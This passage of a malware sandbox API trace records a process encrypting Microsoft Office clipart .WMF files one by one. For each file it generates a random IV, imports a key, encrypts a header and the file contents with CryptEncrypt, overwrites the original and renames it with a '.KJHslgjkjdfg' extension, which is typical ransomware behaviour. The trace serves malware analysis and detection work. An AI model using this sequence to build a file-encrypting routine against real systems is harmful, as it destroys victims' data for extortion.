ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090087.WMF", cAlternateFileName="")) returned 1 [0190.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.448] GetProcessHeap () returned 0x990000 [0190.449] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.449] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.449] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.451] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.451] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.451] GetProcessHeap () returned 0x990000 [0190.451] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.451] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.451] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.451] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.451] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.451] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.451] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.452] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.452] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.452] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.452] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.452] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.452] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb758, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb758, lpOverlapped=0x0) returned 1 [0190.453] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb760, dwBufLen=0xb760 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb760) returned 1 [0190.454] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.454] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb760, lpOverlapped=0x0) returned 1 [0190.454] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.454] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.454] SetEndOfFile (hFile=0x130) returned 1 [0190.457] GetProcessHeap () returned 0x990000 [0190.457] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.457] GetProcessHeap () returned 0x990000 [0190.457] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.457] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.kjhslgjkjdfg")) returned 1 [0190.458] CloseHandle (hObject=0x130) returned 1 [0190.459] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090089.WMF", cAlternateFileName="")) returned 1 [0190.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.460] GetProcessHeap () returned 0x990000 [0190.460] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.460] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.460] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.460] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.460] GetProcessHeap () returned 0x990000 [0190.460] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.460] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.460] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.460] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.463] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.463] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.463] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.463] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.463] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.464] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.464] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.464] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.464] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3d90, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3d90, lpOverlapped=0x0) returned 1 [0190.465] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d90, dwBufLen=0x3d90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d90) returned 1 [0190.465] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.465] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3d90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3d90, lpOverlapped=0x0) returned 1 [0190.465] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.465] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.465] SetEndOfFile (hFile=0x130) returned 1 [0190.468] GetProcessHeap () returned 0x990000 [0190.468] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.468] GetProcessHeap () returned 0x990000 [0190.468] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.468] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.kjhslgjkjdfg")) returned 1 [0190.469] CloseHandle (hObject=0x130) returned 1 [0190.469] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6e34, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090149.WMF", cAlternateFileName="")) returned 1 [0190.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.470] GetProcessHeap () returned 0x990000 [0190.470] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.470] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.470] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.470] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0190.472] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.472] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.473] GetProcessHeap () returned 0x990000 [0190.473] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.473] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.473] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.473] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.473] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.473] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.473] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.473] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.473] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.473] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.473] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.473] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.473] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6e34, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6e34, lpOverlapped=0x0) returned 1 [0190.475] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6e40, dwBufLen=0x6e40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6e40) returned 1 [0190.475] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.475] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6e40, lpOverlapped=0x0) returned 1 [0190.475] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.475] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6f14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.475] SetEndOfFile (hFile=0x130) returned 1 [0190.478] GetProcessHeap () returned 0x990000 [0190.478] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.478] GetProcessHeap () returned 0x990000 [0190.478] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.478] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.kjhslgjkjdfg")) returned 1 [0190.548] CloseHandle (hObject=0x130) returned 1 [0190.548] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44e6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090390.WMF", cAlternateFileName="")) returned 1 [0190.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.551] GetProcessHeap () returned 0x990000 [0190.551] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.551] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.551] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.551] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0190.552] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.552] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.552] GetProcessHeap () returned 0x990000 [0190.552] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.552] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.552] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.553] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.553] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.553] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.553] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.553] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.553] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.553] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.553] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.553] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.553] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x44e6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x44e6, lpOverlapped=0x0) returned 1 [0190.554] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x44f0, dwBufLen=0x44f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x44f0) returned 1 [0190.555] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.555] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x44f0, lpOverlapped=0x0) returned 1 [0190.555] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.555] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x45c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.555] SetEndOfFile (hFile=0x130) returned 1 [0190.557] GetProcessHeap () returned 0x990000 [0190.557] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.557] GetProcessHeap () returned 0x990000 [0190.557] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.557] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.kjhslgjkjdfg")) returned 1 [0190.559] CloseHandle (hObject=0x130) returned 1 [0190.559] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd6c900, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cd6c900, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090777.WMF", cAlternateFileName="")) returned 1 [0190.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.560] GetProcessHeap () returned 0x990000 [0190.560] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.560] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.560] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0190.562] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.562] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.562] GetProcessHeap () returned 0x990000 [0190.562] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.562] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, 